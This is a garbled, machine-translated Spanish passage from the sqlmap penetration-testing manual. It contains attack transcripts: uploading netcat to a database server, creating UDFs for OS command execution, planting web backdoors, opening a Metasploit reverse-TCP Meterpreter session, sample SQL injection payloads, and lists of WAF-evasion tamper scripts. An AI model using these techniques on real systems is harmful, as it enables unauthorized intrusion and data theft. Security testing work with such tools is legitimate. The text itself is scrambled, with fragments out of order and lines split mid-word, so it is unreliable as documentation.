La tecnología de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP
DBMS de back-end: Microsoft SQL Server 2005
$ Ls -l /software/nc.exe .packed
Inquis -rwxr-xr-x 1 Inquis 31744 hh 2009-MM-DD: mm /software/nc.ex e.packed
[...]
[Hh: mm: 29] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003 ó 2008
La tecnología
back-end de aplicaciones
de DBMS: web: ASP.NET, Microsoft IIS 6.0,
MySQL> = 5.0.0 ASP.NET 2.0.50727
[...]
¿desea la confirmación de que el archivo 'C: /WINDOWS/Temp/nc.ex e' ha sido el
éxito
escrito completame nte en el sistema de archivos DBMS? [Y / n] y
[Hh: mm: 52] [INFO] recuperada: 31744
[Hh: mm: 52] [INFO] el archivo se ha escrito correcta mente y su tamaño es de
31744 b
ytes, mismo tamaño que el archivo local '/software/nc.exe.packed'
[...]
La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
DBMS PostgreSQL:
[Hh: mm: 12] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 12] [INFO] el sistema DBMS de back-end operativo es Linux
[Hh: mm: 12] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 12] [INFO] detección de back-end versión DBMS de su bandera
[Hh: mm: 12] Verificando 'sys_eval' ya existe [INFO] UDF
[Hh: mm: 12] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 12] la creación del archivo UDF [INFO] UDF 'sys_eval' binario
[Hh: mm: 12] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
¿desea recuperar la salida estándar de comandos? [Y / n / a] y
comando de salida estándar: '= 104 (postgres) gid = 106 (postgres) grupos uid =
106 (post
gres) '
[Hh: mm: 19] de limpieza hasta el sistema de gestión de base de datos [INFO]
¿desea eliminar 'sys_eval' UDF? [Y / n] y
¿desea eliminar 'sys_exec' UDF? [Y / n] y
[Hh: mm: 23] [INFO] limpieza del sistema de gestión de base de datos terminó
[Hh: mm: 23] [ADVERTENCIA] recuerde que los archivos de objetos compartidos UDF
guardan en los archivos sys
tem sólo puede ser borrado manualmente
También es posible simular una concha real en el que puede escribir tantos
comandos arbitrarios como desee. La opción es --os-shell y tiene las mismas
implementación del tabulador y la historia funcionalidades que --sql-shell tiene.
Donde las consultas apiladas no se ha identificado en la aplicación web (por
ejemplo, PHP o ASP con sistema de gestión de base de datos back-end siendo
MySQL) y el DBMS es MySQL, todavía es posible abusar de la SELECT de la
cláusula INTO OUTFILE para crear una puerta trasera web en una carpeta se puede
escribir en el directorio raíz de documentos del servidor web y aún así obtener la
ejecución de comandos asumiendo el DBMS de back-end y el servidor web están
alojados en el mismo servidor. sqlmap apoya esta técnica y permite que el usuario
proporcione una lista separada por comas de posibles raíz del documento
subcarpetas donde intenta cargar el archivo de la tela servidor de ensayo y la
posterior puerta trasera web. Además, sqlmap tiene sus propios caballos de
diligencia de archivo Web probado y puertas traseras de los siguientes idiomas:
ÁSPID
ASP.NET
JSP
PHP
[...]
[Hh: mm: 31] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003
La tecnología de aplicaciones web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
DBMS MySQL 5.0:
[Hh: mm: 31] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 31] [INFO] el sistema operativo DBMS es Windows
¿cómo se quiere establecer el túnel?
[1] TCP: Metasploit Framework (por defecto)
[2] ICMP: icmpsh - túnel ICMP
>
[Hh: mm: 32] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 32] [INFO] ir a buscar usuario actual
¿cuál es la arquitectura del sistema de gestión de base de datos back-end?
[1] de 32 bits (por defecto)
[2] 64-bit
>
[Hh: mm: 33] Verificando 'sys_bineval' ya existe [INFO] UDF
[Hh: mm: 33] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 33] [INFO] detección de back-end versión DBMS de su bandera
[Hh: mm: 33] [INFO] recuperar directorio base de MySQL ruta absoluta
[Hh: mm: 34] la creación del archivo UDF [INFO] UDF 'sys_bineval' binario
[Hh: mm: 34] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
¿cómo quieres para ejecutar el código shell Metasploit en el und de base de
datos back-end
erlying sistema operativo?
[1] A través de UDF 'sys_bineval' (forma en la memoria, los anti-forense, por
defecto)
[2] Stand-alone servidor de ensayo de carga útil (archivo de forma de sistema)
>
[Hh: mm: 35] [INFO] la creación de Metasploit Framework código shell de etapas
múltiples
qué tipo de conexión es lo que desea utilizar?
[1] TCP inversa: Conectar de nuevo desde el host de base de datos para esta
máquina (por defecto)
[2] TCP inversa: Intente volver a conectarse desde el host de base de datos para
esta máquina, en
todos los puertos
entre el especificado y 65535
[3] enlazar TCP: Escucha en el host de base de datos para una conexión
>
que es la dirección local? [192.168.136.1]
qué número de puerto local es lo que desea utilizar? [60641]
el que la carga útil es lo que desea utilizar?
[1] Meterpreter (por defecto)
[2] Shell
[3] VNC
>
[Hh: mm: 40] [INFO] creación en el progreso hecho ...
[Hh: mm: 43] [INFO] ejecuta la interfaz de línea de comandos Metasploit
Framework localmente, p
arrendamiento de espera ..
_
| | o
_ _ _ _ _ | _ __, _ | | __ _ | _
/ | / | / | | / | / | / \ _ | / \ _ | / / \ _ | |
| | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / | _ /
/ |
\ |
Dirección
Máscara deIP:
red:192.168.136.129
255.255.255.0
meterpreter> exit
General
Estas opciones se pueden utilizar para establecer algunos parámetros generales
de trabajo.
destino
Opción: --crawl
sqlmap puede recopilar enlaces potencialmente vulnerables por su recogida
(rastreo) a partir de la ubicación de destino. El uso de este usuario opción puede
establecer una profundidad (distancia desde un lugar de partida) por debajo del
cual no va a sqlmap en la recogida de fase, ya que el proceso se está haciendo de
forma recursiva, siempre y cuando hay nuevos enlaces que se pueden visitar.
Ejemplo de gestión frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21. 128/sqlmap/mys ql/" --batch --crawl = 3
[...]
[Xx: xx: 53] [INFO] rastreador de partida
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 1
[Xx: xx: 53] [ADVERTENCIA] se ejecuta en un modo de un solo hilo. Esto podría
tomar un tiempo
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 2
[Xx: xx: 54] [Info] heurísticos detectan la página web de juego de caracteres
'ascii'
[Xx: xx: 00] [INFO] 42/56 enlaces visitados (75%)
[...]
Opción --crawl-excluir
Con esta opción se puede excluir páginas de rastreo, proporcionando una
expresión regular. Por ejemplo, si desea omitir todas las páginas que tienen la
palabra clave cierre de sesión en sus caminos, puede utilizar --crawl-exclude =
cierre de sesión .
[...]
[Hh: mm: 01] [INFO] el DBMS es Oracle
[Hh: mm: 01] [INFO] bandera ir a buscar
[Hh: mm: 01] [INFO] recuperar la longitud de salida de la consulta
[Hh: mm: 01] [INFO] recuperada: 64
17% [========>] 11/64 ETA doce y diecinueve
Entonces:
100% [=============================================== ====] 64/64
[Hh: mm: 53] [INFO] recuperado: Oracle Database 10g Enterprise Edition Release
10.2
.0.1.0 - Prod
[...]
[Xx: xx: 14] [INFO] bandera ir a buscar
[Xx: xx: 14] [CARGA] 1 Y = 5849 CAST ((CHR (58) || CHR (118) || CHR (116) || CHR
(106) || CHR
(58)) || (ENCODE (convert_to ((COALESCE (CAST (VERSION () como el personaje
(10000)), (CHR (32)
))), (CHR (85) || CHR (84) || CHR (70) || CHR (56))), (CHR (72) || CHR (69) ||
CHR (88)))) :: texto || (
CHR
[Xx:(58)
xx: ||
15]CHR (110)
[INFO] || CHRel(120)
analiza || CHR
mensaje (98) ||"pg_query
de error: CHR (58))
()como numéricos)
[<a href =
'function.pg-consulta'
> Function.pg-consu lta </a>]: Error en la consulta: ERROR: sintaxis de entrada
válido para este tipo num
Eric: ": VTJ:
506f737467726553514c20382e332e39206f6e20693438362d7 0632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d3 42e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32: nxb: "en <b>
/var/www/sqlmap/libs/pgsql.inc.p
CV </ b> en la línea <b> 35 </ b> '
[Xx: xx: 15] [INFO] recuperado: PostgreSQL 8.3.9 en i486-pc-linux-gnu, compilado
por
GCC GCC-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
sqlmap --output-dir
Opción: por sesión de almacenes predeterminados y archivos de resultados dentro
de un subdirectorio de salida . En caso de que desee utilizar una ubicación
diferente, puede utilizar esta opción (por ejemplo --output-dir = / tmp ).
[Microsoft]
i [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 10
s fuera del rango del número de elementos de la lista de selección.
<B> /sqlmap/mssql/i is/get_int.asp, línea 27 </ b> '
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 6
es
fuera del alcance de la cantidad de elementos en la lista de selección.
<B> /sqlmap/mssql/i is/get_int.asp, línea 27 </ b> '
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 4
es
fuera del alcance de la cantidad de elementos en la lista de selección.
<B> /sqlmap/mssql/i is/get_int.asp, línea 27 </ b> '
[Xx: xx: 17] [INFO] URL de destino parece tener 3 columnas en la consulta
[...]
actualización sqlmap
Cambiar: --update
El uso de esta opción puede actualizar la herramienta a la última versión de
desarrollo directamente desde el repositorio Git . Obviamente, se necesita
conexión a Internet.
Si, por cualquier razón, esta operación falla, ejecuta git pull de su copia de
trabajo sqlmap. Se llevará a cabo la misma operación del interruptor de --
update . Si está ejecutando sqlmap en Windows, puede utilizar el SmartGit cliente.
Esto es muy recomendable antes de informar sobre cualquier error a las listas de
correo .
Diverso
Utilice mnemotécnicos cortos
Opción: -z
Podría llegar a ser tedioso para escribir todas las opciones e interruptores
deseados, especialmente
ejemplo --batch para aquellos
--random-agente que se utilizan
--ignore-proxy con mayor
= --technique BEA frecuencia
). Hay una(por
manera más simple y mucho más breve cómo hacer frente a ese problema. En
sqlmap se llama "mnemónicos".
Cada opción y el interruptor se pueden escribir en una forma mnemotécnica más
corto utilizando la opción -z , separados por una coma ( , ), donde mnemotécnicos
representan sólo la primera parte arbitrariamente elegido del nombre srcinal. No
hay ninguna asignación estricta de opciones e interruptores a sus respectivos
homólogos acortados. Única condición requerida es que no hay otra opción ni
interruptor que tiene un mismo prefijo que el deseado.
Ejemplo:
$ Python sqlmap.py --batch --random-agente --ignore-pro xy = --technique BEA -u
"ww \
w.target.com/vuln.php?id=1 "
se puede escribir (una de muchas maneras) en forma mnemotécnica más corto,
como:
$ Python sqlmap.py -z "bat, randoma, IGN, tec = BEA" -u
"www.target.com/vuln.php~~V~~3rd? Id = \
1 "
Otro ejemplo:
$ Python sqlmap.py --ignore-proxy---fl ush sesión --technique = T --dump -D testd
\
b usuarios -T -u "www.target.com/vuln.php?id=1"
puede escribirse de forma más corta mnemotécnica como:
$ Python sqlmap.py -z "IGN, la gripe, el palo, tec = T, descarga, D = testdb, T
= users" -u www.target ". \
com / vuln.php? id = 1 "
[4] HTC
[5] HP iPAQ 6365
Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
que
[Xx:cubre la prueba
xx: 24] [INFO] actual
URL de de la técnica
destino parecede inyección
tener consulta
3 columnas en laUNION
consulta
[Xx: xx: 24] [INFO] GET parámetro 'id' es 'MySQL consulta de unión (NULL) - del
1 al 20 colu
MNS inyectable '
[...]
En caso--test-skip
Opción = TEST
de que desea omitir las pruebas por parte de sus cargas útiles y / o títulos
que puede utilizar esta opción. Por ejemplo, si desea omitir todas las cargas que
tienen REFERENCIA palabra clave dentro, se puede utilizar --test-skip = PUNTO DE
REFERENCIA .
[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o daño causado por este programa
Y o cláusula
[Xx: xx: 13] GROUP
[INFO]BY '
pruebas 'MySQL> = 5.0 o basado en el error - Cuando, en
vista, ORDER BY
o cláusula GROUP BY '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o cláusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o cláusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (EXP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(E
XP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY (BIGINT sin signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(B
IGINT signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o cláusula GROUP BY '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 o basado en el error - WHERE, HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL o basados en el error - WHERE o HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - PROCEDIMIENTO DE
ANÁLISIS (EXTRACTO
VALOR)'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.0 error basado en - Parámetro
reemplazar'
[Xx: xx: 14]
reemplazar [INFO] pruebas 'MySQL> = 5.1 basado en el
(EXTRACTO error - Parámetro
VALOR)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parámetro
reemplazar (UPDATEX
ML) '
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 a errores basa - Parámetro reemplazar
(EXP)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 basado en el error - Parámetro
reemplazar (BIGINT
NO FIRMADO)'
[xx: xx: 15] [info] pruebas 'UNION Genérico consulta (NULL) - del 1 al 20
columnas'
[Xx: xx: 15] [INFO] rangos que se extienden de forma automática para la consulta
UNION tecn inyección
pruebas iQue ya que hay al menos otra técnica (potencial) encontrad o
[Xx: xx: 15] [INFO] ORDER BY técnica parece ser utilizable. Esto debería reducir
la
el tiempo necesario para encontrar el número correcto de columnas de la
consulta. que se extiende de forma automática t
que cubre la prueba actual de la técnica de inyección consulta UNION
[Xx: xx: 15] [INFO] URL de destino parece tener 3 columnas en la consulta
[Xx: xx: 16] [INFO] Parámetro de "artista" es "UNIÓN Genérico consulta (NULL) -
del 1 al 2
0 inyectable columnas '
Parámetro de la "artista" es vulnerable. ¿Quieres seguir midiéndose los demás
(si
alguna)? [S / N] N
sqlmap identificó el siguiente punto (s) de inyección con un total de 39 HTTP
(s) de re
misiones:
---
Parámetro: artista (GET)
Tipo: ciega a base booleana
Título: Y booleana basada en la ciega - WHERE o HAVING
Carga útil: Artista = 1 AND 5707 = 5707
[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o daño causado por este programa
Parámetro: artista
Tipo: ciega (GET)booleana
a base
Título: Y booleana basada en la ciega - WHERE o HAVING
Carga útil: Artista = 1 AND 5707 = 5707
[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
consentimiento es ilegal. Es responsabilidad del usuario final a obedecer todas
las leyes
locales, estatales y las leyes federales. Los desarrolladores no asumen ninguna
responsabilidad y no son respon
sable de cualquier mal uso o daño causado por este programa
dificultad
[1] Normal para inyección (--level / - riesgo). Por favor seleccione:
(predeterminado)
[2] Medium
[3] duro
> 1
Enumeración (--banne r / - actual del usuario / etc). Por favor seleccione:
[1] básico (por defecto)
[2] Inteligente
[3] Todos
> 1
ciega basadaid
Carga útil: en= el tiempo-Microsoft
1 WAITFOR SQL0:
RETRASO '0: Server
5' - / Sybase: Título
MySQL
space2randomblank,
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
xforwardedforbetween
bluecoat
charencode
charunicodeencode
concat2concatws
equaltolike
greatest
halfversionedmorekeywords
ifnull2ifisnull
space2morehash
space2mysqldash
space2plus
modsecurityversioned
modsecurityzeroversioned
multiplespaces
securesphere
space2comment
space2hash
nonrecursivereplacement
percentage
randomcase
MSSQL:
sp_password
space2comment
space2dash
space2mssqlblank
space2mysqldash
space2plus
space2randomblank
charencode
charunicodeencode
equaltolike
greatest
unionalltounion
unmagicquotes
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
MSAccess:
modsecurityversioned
modsecurityzeroversioned
equaltolike
greatest
halfversionedmorekeywords
nonrecursivereplacement
percentage
randomcase
securesphere
between
bluecoat
charencode
charunicodeencode
concat2concatws
space2comment
space2hash
space2morehash
space2mysqldash
space2plus
space2randomblank
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
ifnull2ifisnull
multiplespaces
PostgreSQL:
xforwardedfor
space2comment
space2plus
space2randomblank
between
charencode
charunicodeencode
equaltolike
greatest
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
between
SQLite:
space2plus
unionalltounion
unmagicquotes
xforwardedfor
ifnull2ifisnull
randomcase
securesphere
space2comment
space2dashmmultiplespaces
nonrecursivereplacement